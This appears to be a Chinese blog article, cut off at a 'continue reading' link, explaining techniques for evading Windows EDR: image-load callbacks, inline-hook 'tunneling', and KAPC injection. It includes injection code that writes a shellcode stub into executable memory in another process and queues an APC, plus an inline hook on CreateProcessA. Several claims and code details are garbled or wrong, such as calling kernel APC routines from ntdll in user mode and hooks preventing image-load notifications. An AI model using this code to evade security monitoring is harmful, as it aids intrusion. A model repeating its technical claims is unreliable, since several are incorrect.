深度解析EDR规避核心技术:从镜像加载到驱动回调劫持

176 阅读8分钟

在网络安全对抗的赛道上,EDR(端点检测与响应)工具一直是防御方的重要屏障,它通过监控进程创建、线程活动、注册表修改等关键行为,及时发现并阻断恶意攻击,上次我们聊了进程创建和线程通知《Windows EDR 如何通过回调机制拦截程序?3 类规避方案 + 防御对策详解》。但攻击者也在不断探索绕过 EDR 监控的技术手段,从用户层的“隐形装载”到内核级的“权限掌控”,攻防博弈愈发激烈。本文将深入拆解 EDR 难以防范的几类核心规避技术,带你看透攻击者的“隐身术”,同时为防御侧提供技术思考。

深度解析 EDR 规避核心技术:从镜像加载到驱动回调劫持

一、镜像加载通知:DLL 监控的“常规操作”与破局点

要理解 EDR 如何监控 DLL 加载,首先得搞清楚“镜像加载”的本质。每当程序启动或运行中加载 DLL 文件(小到系统必备的 kernel32.dll,大到攻击者构造的恶意 evil.dll),Windows 内核都会触发一次镜像加载通知。这一机制就像 EDR 安插的“监控探头”,让恶意 DLL 无所遁形,下面就是一个安全软件在内核中设置回调的截图:

深度解析 EDR 规避核心技术:从镜像加载到驱动回调劫持

一个典型的程序启动流程会清晰展现这一监控逻辑:

  1. 加载主程序 exe 文件;
  2. 加载 kernel32.dll → 触发镜像加载通知 → EDR 捕获事件;
  3. 加载 user32.dll → 触发镜像加载通知 → EDR 捕获事件;
  4. 若加载恶意 DLL → 触发镜像加载通知 → EDR 直接拦截。

EDR 通过注册镜像加载回调函数实现监控,回调中会重点核查三个核心信息:DLL 的磁盘路径是否可疑、数字签名是否有效、是否存在于已知黑名单中。其注册回调的核心代码逻辑如下:

#include <windows.h>
#include <stdio.h>
 
// EDR 驱动定义的回调函数原型
typedef VOID (*PLOAD_IMAGE_NOTIFY_ROUTINE)(
    PUNICODE_STRING FullImageName,  // DLL 的完整路径
    HANDLE ProcessId,                // 加载 DLL 的进程 ID
    PIMAGE_INFO ImageInfo            // DLL 详细信息
);
 
// 初始化时向 Windows 注册回调
PsSetLoadImageNotifyRoutine(MyLoadImageNotifyRoutine);
 
VOID MyLoadImageNotifyRoutine(
    PUNICODE_STRING FullImageName,
    HANDLE ProcessId,
    PIMAGE_INFO ImageInfo
)
{
    // 检查 DLL 是否在黑名单中
    if (ContainsBlacklistedPath(FullImageName)) {// 阻止可疑 DLL 加载}
    // 记录加载日志
    LogDLLLoad(FullImageName, ProcessId);
}

从 IMAGE_INFO 结构体中,EDR 还能获取 DLL 的加载地址、大小、位数(32/64 位)、是否为系统 DLL 等关键信息,进一步提升检测准确性。这个结构体的详细定义如下,从中能清晰看到 EDR 监控的核心数据维度:

typedef struct _IMAGE_INFO {
    union {
        ULONG Properties;
        struct {
            ULONG ImageAddressingMode  : 8;  // 32 位还是 64 位
            ULONG SystemModeImage      : 1;  // 系统 DLL 吗?ULONG ImageMachineType     : 16; // 处理器类型
            ULONG ImageCharacteristics : 16; // 文件特性
            ULONG Spare                : 15;
            ULONG EtwLoggingOnly       : 1;  // 事件跟踪
        };
    };
    PVOID ImageBase;          // 加载地址
    ULONG ImageSelector;
    ULONG ImageSize;          // 大小
    ULONG ImageSectionNumber;
} IMAGE_INFO;

但这种“基于通知的监控”也存在天然漏洞——只要不让通知触发,就能绕过监控,这也是后续隧道工具等 EDR 规避技术 的核心突破点。

二、隧道工具:让 DLL 加载“消失”的内存魔法

攻击者要运行恶意代码,必然需要调用系统 API(如 kernel32.dll 的 CreateProcessA),但每次加载 DLL 都会触发 EDR 通知。如何在不触发通知的情况下获取 API 功能?“隧道工具(Tunneling Tools)”给出了答案:在通知触发前,把需要的代码提前“搬运”到内存中。

隧道工具的核心思路是利用 内联钩子代码洞穴,具体分为四步:

  • 获取函数地址:通过 GetProcAddress 找到目标 API(如 CreateProcessA)在内存中的位置;
  • 保存原始代码:复制 API 函数开头的 5 个字节(这是钩子的“落脚点”);
  • 构造内存隧道:在内存中复制目标 API 的完整功能代码,形成一个“代码副本”;
  • 挂钩原始函数:将原始 API 开头改为跳转指令,指向内存中的“隧道代码”。

这样一来,当程序调用 API 时,实际执行的是内存中的“隧道代码”,而非从 DLL 文件重新加载——既然没有 DLL 加载行为,EDR 的镜像加载通知自然不会触发。以下是隧道工具的核心实现代码示例,更直观展现 内存中构造 API 代码副本 的过程:

#include <windows.h>
#include <stdio.h>
 
// 步骤 1:定义目标 API 函数原型
typedef int(*LPFN_CreateProcessA)(
    LPCSTR lpApplicationName,
    LPSTR lpCommandLine,
    LPSECURITY_ATTRIBUTES lpProcessAttributes,
    LPSECURITY_ATTRIBUTES lpThreadAttributes,
    BOOL bInheritHandles,
    DWORD dwCreationFlags,
    LPVOID lpEnvironment,
    LPCSTR lpCurrentDirectory,
    LPSTARTUPINFOA lpStartupInfo,
    LPPROCESS_INFORMATION lpProcessInformation
);
 
// 步骤 2:保存原始 CreateProcessA 函数前 5 个字节
BYTE originalBytes[5];
LPFN_CreateProcessA origCreateProcessA = (LPFN_CreateProcessA)GetProcAddress(GetModuleHandleA("kernel32.dll"),
    "CreateProcessA"
);
memcpy(originalBytes, (BYTE*)origCreateProcessA, 5);
 
// 步骤 3:创建内存隧道,复制 CreateProcessA 核心功能代码
BYTE tunnelCode[200];
// 此处省略汇编指令复制过程(需根据 API 实际指令集编写)// 核心是将 API 的系统调用逻辑完整迁移到 tunnelCode 中
 
// 步骤 4:构造钩子指令,跳转到隧道代码
BYTE hookCode[5] = {0xE9}; // JMP 指令
DWORD jumpAddr = (DWORD)tunnelCode - (DWORD)origCreateProcessA - 5;
memcpy(&hookCode[1], &jumpAddr, 4);
WriteProcessMemory(GetCurrentProcess(), (BYTE*)origCreateProcessA, hookCode, 5, NULL);

传统方式与隧道工具的差异一目了然,这也是 Windows DLL 加载监控绕过 的经典思路:

传统方式:程序→调用 CreateProcessA→触发镜像加载通知→EDR 检测到 kernel32.dll 加载(被拦截);

隧道工具方式:程序→调用挂钩后的 CreateProcessA→跳转到内存隧道代码→直接执行系统调用(无通知,绕过 EDR)。

传统方式:程序→调用 CreateProcessA→触发镜像加载通知→EDR 检测到 kernel32.dll 加载(被拦截);

隧道工具方式:程序→调用挂钩后的 CreateProcessA→跳转到内存隧道代码→直接执行系统调用(无通知,绕过 EDR)。

三、KAPC 注入:内核级的“隐形之手”

如果说隧道工具是用户层的“小技巧”,那 KAPC 注入就是内核级的“大杀器”。KAPC(Kernel Asynchronous Procedure Call,内核异步过程调用)是 Windows 内核的原生机制,允许在目标线程“安全的时刻”执行指定代码——而这个“安全时刻”发生在内核模式,恰好避开了多数用户空间 EDR 的监控。

普通的线程注入(如 CreateRemoteThread)会直接触发 EDR 的线程创建通知,但 KAPC 注入的流程完全不同:

普通 API 调用:用户代码→CreateRemoteThread()→触发线程通知→EDR 拦截;

KAPC 调用 :用户代码→QueueUserAPC() 创建 KAPC→等待目标线程进入“可警告状态”→切换到内核模式→执行注入代码(EDR 无感知)。

这里的关键是“可警告状态”——当线程处于 WaitForSingleObject 等待、Sleep 休眠、SleepEx 可警告休眠等状态时,就会成为 KAPC 注入的“目标”。以下是KAPC 注入实战代码框架,展现从结构体定义到队列注入的完整流程:

#include <windows.h>
#include <winternl.h>
 
// 定义 KAPC 相关结构体与函数指针
typedef struct _KAPC {
    UCHAR Type;
    UCHAR Spare0;
    USHORT Size;
    LIST_ENTRY ApcListEntry;
    PKKERNEL_ROUTINE KernelRoutine;
    PKRUNDOWN_ROUTINE RundownRoutine;
    PKNORMAL_ROUTINE NormalRoutine;
    PVOID NormalContext;
    PVOID SystemArgument1;
    PVOID SystemArgument2;
    CCHAR ApcStateIndex;
    KPROCESSOR_MODE ApcMode;
    BOOLEAN Inserted;
} KAPC, *PKAPC;
 
typedef VOID (*PKKERNEL_ROUTINE)(PKAPC, PKNORMAL_ROUTINE*, PVOID*, PVOID*, PVOID*);
typedef VOID (*PKNORMAL_ROUTINE)(PVOID, PVOID, PVOID);
typedef VOID (*PKRUNDOWN_ROUTINE)(PKAPC);
 
// 从 ntdll.dll 获取未导出内核函数
typedef NTSTATUS (*PfnKeInitializeApc)(
    PKAPC Apc,
    PKTHREAD Thread,
    KAPC_ENVIRONMENT ApcMode,
    PKKERNEL_ROUTINE KernelRoutine,
    PKRUNDOWN_ROUTINE RundownRoutine,
    PKNORMAL_ROUTINE NormalRoutine,
    KPROCESSOR_MODE ProcessorMode,
    PVOID NormalContext
);
 
typedef BOOLEAN (*PfnKeInsertQueueApc)(
    PKAPC Apc,
    PVOID SystemArgument1,
    PVOID SystemArgument2,
    KPRIORITY Increment
);
 
PfnKeInitializeApc KeInitializeApc = (PfnKeInitializeApc)GetProcAddress(GetModuleHandleA("ntdll.dll"), "KeInitializeApc"
);
PfnKeInsertQueueApc KeInsertQueueApc = (PfnKeInsertQueueApc)GetProcAddress(GetModuleHandleA("ntdll.dll"), "KeInsertQueueApc"
);
 
// 待注入的恶意代码(示例为简单指令)BYTE injectionCode[] = {
    0x55,          // push rbp
    0x48,0x89,E5,  // mov rbp, rsp
    0x90,          // nop(占位,实际为恶意逻辑)0x5D,          // pop rbp
    0xC3           // ret
};
 
int main() {
    // 1. 打开目标进程与线程
    HANDLE hTargetProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 1234); // 目标 PID
    HANDLE hTargetThread = OpenThread(THREAD_ALL_ACCESS, FALSE, 5678);   // 目标 TID
 
    // 2. 在目标进程分配可执行内存
    PVOID remoteMem = VirtualAllocEx(hTargetProcess, NULL, sizeof(injectionCode),
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE
    );
    WriteProcessMemory(hTargetProcess, remoteMem, injectionCode, sizeof(injectionCode), NULL);
 
    // 3. 初始化 KAPC 结构体
    KAPC kapc = {0};
    KeInitializeApc(
        &kapc, hTargetThread, OriginalApcMode,
        NULL, NULL, (PKNORMAL_ROUTINE)remoteMem,
        UserMode, NULL
    );
 
    // 4. 将 KAPC 加入线程队列
    KeInsertQueueApc(&kapc, NULL, NULL, 0);
    return 0;
}

KAPC 注入难防的核心原因有三点:一是代码在内核模式执行,用户层钩子无法捕获;二是不创建新线程,绕过线程通知;三是从进程监控视角看,目标线程仅处于“等待状态”,无明显异常,这也是 内核级 EDR 绕过技术 的典型优势。

KAPC 注入难防的核心原因有三点:一是代码在内核模式执行,用户层钩子无法捕获;二是不创建新线程,绕过线程通知;三是从进程监控视角看,目标线程仅处于“等待状态”,无明显异常。

[四、注册表监控规避:从 API 绕过到时序攻击

Windows 注册表存储着系统启动项、DLL 搜索路径、安全配置等关键信息,攻击者修改注册表(如添加持久化项)时,EDR 的注册表监控会立即警觉。EDR 通过 CmRegisterCallback 注册回调函数,监控 RegNtPreSetValueKey(写入前)、RegNtPreDeleteKey(删除前)等操作,实现“事前拦截”。

针对这种监控,攻击者常用三种规避技巧,尤其在 EDR 注册表监控绕过 场景中应用广泛:

  • 底层 API 绕过:放弃 RegSetValueEx 等用户层 API,直接调用 ntdll.dll 中的 ZwSetValueKey——这是更底层的系统调用,部分 EDR 可能未对其监控。代码示例如下:

继续阅读全文:深度解析EDR规避核心技术:从镜像加载到驱动回调劫持